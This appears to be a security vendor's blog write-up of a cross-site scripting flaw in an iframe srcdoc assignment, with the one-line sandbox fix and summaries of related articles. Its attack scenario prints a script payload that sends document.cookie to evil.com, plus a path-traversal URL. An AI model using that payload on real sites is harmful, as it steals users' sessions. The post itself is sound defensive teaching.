Back to Blog
critical SEVERITY8 min read

How Unsandboxed iframe Content Injection happens in JavaScript and how to fix it

A critical vulnerability in `app-viewer/js/LupineVault.js` allowed attacker-controlled HTML fetched from an external CDN to execute scripts in the application's full origin context by injecting it directly into an iframe's `srcdoc` attribute without any sandbox restrictions. The fix adds a `sandbox` attribute to the iframe element, restricting what the injected content can do even if it contains malicious scripts. This prevents cross-site scripting and origin-context script execution that could

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is an unsandboxed iframe content injection vulnerability (related to CWE-79, Cross-Site Scripting) in JavaScript, found in `app-viewer/js/LupineVault.js`. Fetched HTML from an external CDN was written directly into `viewerFrame.srcdoc` without restricting the iframe's capabilities, allowing injected scripts to execute in the parent page's origin context. The fix adds `viewerFrame.sandbox = "allow-scripts allow-forms allow-popups allow-pointer-lock"` before the `srcdoc` assignment, which confines the iframe content and prevents it from accessing the parent origin, cookies, or local storage.

Vulnerability at a Glance

cweCWE-79
fixSet `viewerFrame.sandbox` to a restrictive permission set before assigning `srcdoc`, isolating injected content from the parent origin
riskAttacker-controlled HTML executes scripts in the application's origin context, enabling session theft, DOM manipulation, and data exfiltration
languageJavaScript
root causeFetched external HTML injected into `viewerFrame.srcdoc` with no `sandbox` attribute restricting iframe capabilities
vulnerabilityUnsandboxed iframe srcdoc HTML Injection (XSS)

How Unsandboxed iframe Content Injection Happens in JavaScript and How to Fix It

Introduction

The app-viewer/js/LupineVault.js file is responsible for loading game viewer content by fetching HTML from an external CDN based on a URL query parameter. It sounds straightforward — grab some HTML, display it in a frame — but a subtle omission in how that frame was configured turned this routine operation into a critical security vulnerability.

The problematic pattern was this: fetched HTML was assigned directly to viewerFrame.srcdoc without ever setting a sandbox attribute on the iframe. That single missing attribute meant any script embedded in the fetched HTML would execute in the full origin context of the application — with access to cookies, local storage, and the ability to manipulate the parent DOM.

This matters for any developer who uses iframes to display remotely fetched or user-influenced content. The srcdoc property is deceptively powerful: unlike a static src URL that a browser can reason about independently, srcdoc injects raw HTML markup directly into the iframe's document, making sandboxing not just a best practice but a necessity.


The Vulnerability Explained

What the Code Was Doing

Inside LupineVault.js, the application constructs a fetch URL using a gameName parameter taken from the URL query string. After fetching the HTML, it assigns the result to viewerFrame.srcdoc:

// VULNERABLE CODE (before fix)
processedHtml = htmlText;
viewerFrame.srcdoc = htmlText;  // Raw fetched HTML injected with no sandbox

While encodeURIComponent is applied to the gameName parameter before building the fetch URL, this only protects the URL construction step. It does nothing to sanitize the actual HTML content returned by the CDN. Once the fetch completes, htmlText — the raw response body — flows directly into srcdoc.

Why This Is Dangerous

An iframe without a sandbox attribute inherits the same origin as its parent page. This means:

  • Scripts in the injected HTML run as if they were part of the parent application.
  • They can read document.cookie and localStorage from the parent origin.
  • They can make authenticated requests using the user's session.
  • They can manipulate the parent DOM via window.parent.

The openNewTab handler compounded the issue further by writing raw fetched HTML using tab.document.write(html), which executes scripts in the opener's origin context — essentially the same problem in a second attack surface.

Concrete Attack Scenario

Consider an attacker who either:

  1. Controls the CDN path: If the CDN serving the game HTML is compromised, misconfigured, or allows user-uploaded content, the attacker serves a response containing <script>document.location='https://evil.com/?c='+document.cookie</script>.

  2. Crafts a malicious view parameter: If the URL routing or CDN path construction has any flexibility, an attacker crafts a URL like:
    https://app.example.com/viewer?gameName=../../malicious-path
    The encodeURIComponent call won't help here if the path traversal resolves server-side before the CDN responds.

In either case, when the victim loads the crafted URL, viewerFrame.srcdoc receives the malicious HTML, the embedded script runs with the application's full origin privileges, and the attacker exfiltrates session cookies or performs actions on behalf of the user.


The Fix

What Changed

The fix is a single line added in LupineVault.js, inserted before the srcdoc assignment:

  processedHtml = htmlText;
+ viewerFrame.sandbox = "allow-scripts allow-forms allow-popups allow-pointer-lock";
  viewerFrame.srcdoc = htmlText;

Before vs. After

Before (vulnerable):

processedHtml = htmlText;
viewerFrame.srcdoc = htmlText;
// iframe has no sandbox — scripts run in parent origin context

After (fixed):

processedHtml = htmlText;
viewerFrame.sandbox = "allow-scripts allow-forms allow-popups allow-pointer-lock";
viewerFrame.srcdoc = htmlText;
// iframe is sandboxed — scripts are isolated from parent origin

Why This Fix Works

The HTML sandbox attribute (and its JavaScript equivalent, the sandbox property) applies a set of restrictions to iframe content. Crucially, by default, a sandboxed iframe is treated as a unique origin — completely separate from the parent page. This means:

Capability Without Sandbox With Sandbox (this fix)
Access parent cookies ✅ Yes ❌ Blocked
Access parent localStorage ✅ Yes ❌ Blocked
Manipulate parent DOM ✅ Yes ❌ Blocked
Execute scripts ✅ Yes ✅ Allowed (allow-scripts)
Submit forms ✅ Yes ✅ Allowed (allow-forms)
Open popups ✅ Yes ✅ Allowed (allow-popups)
Same-origin access ✅ Yes ❌ Blocked (not in list)

The key permission not included in the fix is allow-same-origin. Including that would restore the parent-origin relationship and largely defeat the purpose of sandboxing. By omitting it, the fix ensures that even if the fetched HTML contains malicious scripts, those scripts are confined to the iframe's isolated origin and cannot touch the parent application's data.

The permissions that are included (allow-scripts, allow-forms, allow-popups, allow-pointer-lock) preserve the legitimate functionality of the game viewer content — games need to run scripts, handle input, and potentially open tabs — while eliminating the privilege escalation path.


Key Takeaways

  • viewerFrame.srcdoc without a sandbox attribute is a script execution sink — any HTML assigned to it runs with the parent page's full origin privileges.
  • encodeURIComponent() on the fetch URL does not sanitize the fetched response — these are two separate data flows, and protecting one does nothing for the other.
  • The sandbox fix works because it removes allow-same-origin — the iframe gets a unique, isolated origin, so even scripts that execute cannot access the parent application's cookies or DOM.
  • document.write(html) in a new tab is the same class of vulnerability — writing externally fetched HTML into any document context without isolation is dangerous.
  • One line of code eliminated a critical attack surfaceviewerFrame.sandbox = "..." before the srcdoc assignment is all it took to contain the threat.

How Orbis AppSec Detected This

  • Source: The gameName URL query parameter, used to construct a CDN fetch URL in LupineVault.js
  • Sink: viewerFrame.srcdoc = htmlText — assignment of raw fetched HTML to an unsandboxed iframe's srcdoc property
  • Missing control: No sandbox attribute on the iframe element; no HTML sanitization of the fetched response body before injection
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)
  • Fix: Added viewerFrame.sandbox = "allow-scripts allow-forms allow-popups allow-pointer-lock" immediately before the srcdoc assignment, isolating the iframe content in a unique origin and preventing parent-context script execution.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The vulnerability in LupineVault.js is a textbook example of how a single missing attribute can turn a routine display operation into a critical security hole. Fetching HTML and displaying it in an iframe is a common, legitimate pattern — but without the sandbox attribute, the iframe is not really a container at all. It's a direct execution environment with full access to the parent application's origin.

The fix demonstrates that security improvements don't always require architectural overhauls. A single property assignment — viewerFrame.sandbox = "allow-scripts allow-forms allow-popups allow-pointer-lock" — transforms the iframe from an open execution context into a properly isolated container. The game viewer continues to function exactly as intended, but the blast radius of any malicious content it might display is now contained.

For developers working with iframes, the rule is simple: if you didn't write the HTML yourself, sandbox the frame that displays it. Treat srcdoc and innerHTML as sinks that demand the same scrutiny you'd give a eval() call or a shell command.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #13

Related Articles

critical

How stored XSS happens in TinyMCE plugins and how to fix it

The snippets plugin's `Main.ts` inserted raw, unsanitized snippet content directly into the TinyMCE editor via `editor.insertContent(snippet.content)`, allowing stored JavaScript payloads saved by any snippet editor to execute in every user's browser. The fix routes snippet content through TinyMCE's own parser and serializer before insertion, stripping dangerous markup while preserving legitimate formatting.

critical

How CSS Injection via Weak Pattern Validation happens in Vue.js and how to fix it

A critical CSS injection vulnerability in `testpage/App.vue` allowed attackers to bypass weak HTML5 pattern validation and load malicious stylesheets. The fix replaces direct variable assignment with a hardened `setCustomStylesheetHref()` method using strict regex validation.

high

How SQL-injection-style template literal injection happens in JavaScript DOM rendering and how to fix it

A Semgrep rule (`utils.custom.sql-injection-template-literal`) flagged `src/export/SheetMusicView.js` for building a query/markup string out of a JavaScript template literal with untrusted values interpolated directly into it. In this case the sink was an `<option value="${s.id}">${s.name}</option>` string used to build the snippet picker, meaning any snippet name containing `"` or `<` could break out of the attribute and inject arbitrary HTML. The fix introduces an `_escapeHtml()` helper and ro

critical

How Unvalidated External Data Fetch happens in React and how to fix it

The Datasets.jsx component fetched a remote manifest from snapshots.qdrant.io and rendered its contents directly into React state without validating response status, JSON shape, or field types. A compromised or spoofed endpoint could have injected malicious payloads straight into the UI; the fix adds strict validation and type coercion before the data ever reaches the render tree.

medium

How Cross-Site Scripting Happens in JavaScript Parsers and How to Fix It

A cross-site scripting vulnerability in JSXGraph's JessieCode parser allowed attackers to inject JavaScript through maliciously crafted input that appeared in error messages. The fix ensures proper output encoding when user-controlled data is included in parser error reporting.

critical

How Cross-Site Scripting (XSS) happens in JavaScript sanitization functions and how to fix it

A critical XSS vulnerability was discovered in the `sanitizeInput()` function in script.js, where only angle brackets were being escaped while quotes, ampersands, and backticks remained unprotected. This incomplete sanitization allowed attackers to craft payloads using event handlers and template literals that bypassed the security controls entirely. The fix implements comprehensive HTML entity encoding for all XSS-relevant characters.